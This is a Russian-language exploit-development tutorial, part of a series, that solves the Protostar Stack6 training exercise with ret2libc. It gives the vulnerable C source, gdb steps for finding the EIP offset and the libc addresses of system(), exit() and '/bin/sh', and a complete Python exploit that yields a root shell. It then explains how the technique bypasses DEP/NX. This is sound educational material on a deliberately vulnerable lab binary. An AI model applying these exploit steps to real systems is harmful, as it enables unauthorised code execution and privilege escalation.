Все части
переполнение буфера
Предыдущая часть
Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6
Привет codeby =) Прошло много времени с тех пор, как я последний раз писал статью, и я думаю, что пришло время для новой. В предыдущей
статье мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата
(RET) при этом используя прием
NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются. В этой статье мы познакомимся с новым подходом выполнения кода.
Описание ExploitMe
Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес.
Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP).
Настоятельно рекомендуется поэкспериментировать с несколькими способами заставить ваш код выполняться здесь.
Stack6,
VM
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Решение
Приступим - рассмотрим исходный код программы. Главная функция
main() вызывает подпрограмму, функцию
getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию
gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как
ret, в неё будет записан адрес возврата текущей функции, переданный из функции
__builtin_return_address(0).
Условие в коде
(ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом
(EXIT_FAILURE) т.е. с кодом 1.
Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP.
Код:
gdb -q ./stack6
break main
run
info registers
Как нам видно
"0xbf .. .. .." это стековые адреса
Код:
esp 0xbffffd20 0xbffffd20
ebp 0xbffffd28 0xbffffd28
Теперь проверим это условие используемся питоном, выходим из отладчика -
quit.
Запускаем
python
и вводим следующий код
Python:
hex(0xffffffff & 0xbf000000)
hex(0xff123456 & 0xbf000000)
hex(0xff12abcd & 0xbf000000)
hex(0xbf12abcd & 0xbf000000)
hex(0xbfffffff & 0xbf000000)
Закрываем интерпретатор питона
Ctrl+D. Видно, что использование адресов с
0xff -
0xbf приведет выходу из программы со статусом
(EXIT_FAILURE). Вот почему нам сказали использовать
Ret2Libc или
ROP в условии задания.
С этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их.
Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть...
Ret2Libc
Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc.
Ret2Libc - это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи.
libc — это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C.
В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма.
Вот этот момент
Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc.
Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека.
Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки.
Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию
Ctrl+Z - выходим.
Как мы видим, функция
system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет
'/bin/sh -c <команда>', и команда передаётся в функцию через аргумент.
Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить
'/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с
'/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему.
Но для того, чтобы овладеть техникой
ret2libc, нужно овладеть техникой "
перезаписью сохраненного значения в регистре EIP".
Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные
SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации.
Мы помним что для реализации этой техники эксплуатации "
Overwriting saved EIP" надо...
- Переполнить буфер
- Получить ошибку Segmentation fault 0x41424344
- Вычислить смещение offset
- положить адрес в регистр EIP
Вся область которая перезаписывает регистр EIP
смещение + 4 байта (EIP) адрес шеллкода
Как то так...
Так же мы знаем еще одну технику
NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата
(RET).
И мы комбинировали их
"Overwriting saved EIP" + "NOP-sled".
А для реализации техники
Ret2Libc нам надо.
"Overwriting saved EIP" + "ret2libc"
- Получить всю область которая перезаписывает регистр EIP (Overwriting saved EIP)
- Получить адрес функции system()
- Получить адрес функции exit()
- Получить адрес оболочки '/bin/bash'
Далее сконвертировать полученные адреса и данные в эксплойт.
eipOffset + systemAddr + exitAddr + shellAddr
и выполнить его.
И так создадим файл eipOffset.txt
положим туда строку
Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
F2,y,enter. (Ну или воспользуемся сайтом, хоть так, хоть так, разницы нет, буфер у нас на 64 байта. Если бы он был большего размера, тогда уж лучше воспользоваться сайтом или утилитами из метасплойта)
Запускаем отладчик
Делаем перенаправление из файла в программу
Мы получили адрес "0x55555555", теперь чтобы не использовать ASCII-таблицу.
Поступим следующим образом более удобным, выходим из отладчика GDB -
. И запускаем
python - интерпретатор.
И выполняем функции
chr() которая нам поможет определить, что это за последовательность букв была.
Отлично это 4 байтовая последовательность из букв
'U'
Далее узнаем длину строки функцией
len()
Код:
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU")
84 байта это та область которая перезаписывает EIP.
Ctrl+D - выход
Хотя, удобнее было воспользоваться утилитами метасплойта pattern_offset.rb и pattern_create.rb ну или тем сайтом. Тогда мы не делали столько телодвижений. Но я хотел показать вам, что python можно использовать как вспомогательный инструмент. И даже нужно. Это удобно и быстро.
И так 80 байт мусора + 4 байта на адрес
Первая часть кода эксплойта
Python:
eipOffset = 'A'*80
systemAddr = Адрес (4 байта)
Теперь нам надо выполнить пункт 2 и 3.
2. Получить адрес функции system()
3. Получить адрес функции exit()
Далее запустим отладчик, поставим точку останова на главную функцию, запустим программу и затем посмотрим адрес функции system() и функции exit() командой 'print' - которая печатает значение переменных, так же у этой команды есть сокращение как и остальных - 'p'.
Код:
gdb -q ./stack
break main
run
print system
print exit
quit
Адреса получены
Код:
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
Вторая часть кода эксплойта с первой
Python:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = Адрес '/bin/bash' (4 байта)
Двигаемся дальше...
Теперь нам надо выполнить пункт 4.
4. Получить адрес оболочки '/bin/bash'
Для того чтобы узнать адрес воспользуемся командой
"info proc map" для того, чтобы отобразим адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
gdb -q ./stack6
break main
run
info proc map
Отлично адрес мы вычислили, libc загружен по адресу
0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой
find, которая помогает осуществлять поиск в памяти.
Синтаксис команды такой
find адрес, +размер, значение
find начальный_адрес, конечный адрес, значение
Код:
find 0xb7e97000, +9999999, "/bin/sh"
x/s 0xb7fba23f
Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду
strings в Linux. Выходим из отладчика.
Запустим команду с такими параметрами -a -t x, а так же укажем полный путь до библиотеки + подключим утилиту grep для поиска нужной нам строки.
ключ
-a указывает на то, что нужно просмотреть весь файл.
ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате.
Код:
strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
Результат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению
0x11f3bf
А сама библиотека Libc загружены по адресу
0xb7e97000
Сложим эти два адреса, что мы имеем. Воспользуемся питоном
Запускаем
python
Python:
shellAddr = 0xb7e97000 + 0x11f3bf
hex(shellAddr)
Ctrl+D выходим из интерпретатора питона.
Наша строка
"/bin/sh" находится в памяти по адресу
0xb7fb63bf. Для большей убедительности проверим в отладчике.
Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес.
Код:
gdb -q ./stack6
break main
run
x/s 0xb7fb63bf
quit
Отлично мы получили действительный адрес "/bin/sh".
Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили.
Открываем редактор и пишем туда
следующий питон код
Python:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + systemAddr + exitAddr + shellAddr
Выходим из редактора и сохраняем наш файл с данными.
Настало время для теста
Код:
id
whoami
(python ~/exploit.py ; cat) | ./stack6
id
whoami
Ctrl+C
Как видите мы успешно получили оболочку с правами root пользователя. На этом всё, теперь можно переходить на следующий уровень
stack7. Кстати говоря техника Ret2Libc и ROP помогает обойти такую защиту, как
Data Execution Prevention (DEP), т.е. когда включен
NX (XD) бит, эта защита которая запрещает выполнять код в стеке. В Intel = NX bit. В AMD = XD bit. Если говорить чуть более подробно, то DEP работает следующим образом. Память которая не должна исполняться (например, стек), помечается специальным битом NX (XD). Если ты попробуешь запустить код из памяти с установленным битом NX, то вызывается исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX (XD) и существуют такие техники, как Return-Oriented Programming и Ret2LibC. Мы даже с вами еще не затронули защиту, а уже познакомились с Ret2LibC. В следующей статье мы коснемся такой темы, как ROP.
Комментарии
10